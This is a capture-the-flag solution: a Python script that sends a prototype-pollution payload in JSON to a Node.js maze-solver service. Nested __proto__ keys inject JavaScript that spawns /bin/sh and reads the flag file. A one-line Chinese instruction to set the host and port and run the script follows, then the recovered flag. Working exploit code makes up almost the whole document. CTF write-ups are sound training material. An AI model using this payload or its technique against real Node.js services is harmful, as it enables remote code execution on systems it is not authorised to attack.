import requests
import json
import os

HOST = os.getenv("HOST", "82.157.146.43")
PORT = os.getenv("PORT", "16154")

js = """
var p = process.binding('process_wrap').Process;
var proc = new p();
proc.spawn({
  file: '/bin/sh',
  args: ['/bin/sh', '-c', '/bin/cat /flag*'],
  cwd: '/',
  stdio: [process.stdin, process.stdout, process.stderr]
});
""".replace("\n", "")

maze = {
    "map": [[0, 0], [0, 0]],
    "start": {
        "0": 0, "1": 0,
        "__proto__": {
            "__proto__": {
                "heap": "BinaryHeap(), function(){" + js + "}();//"
            }
        }
    },
    "goal": (1, 1),
    "heap": None
}

r = requests.post(f"http://{HOST}:{PORT}/solve",
                  headers = {"Content-Type": "application/json"},
                  data = json.dumps(maze))
print(r.text)

把HOST和PORT修改成环境对应的值，运行脚本就行了，flag为：

KosenCTF{fr0m_Array_prototype_pollution_t0_RCE}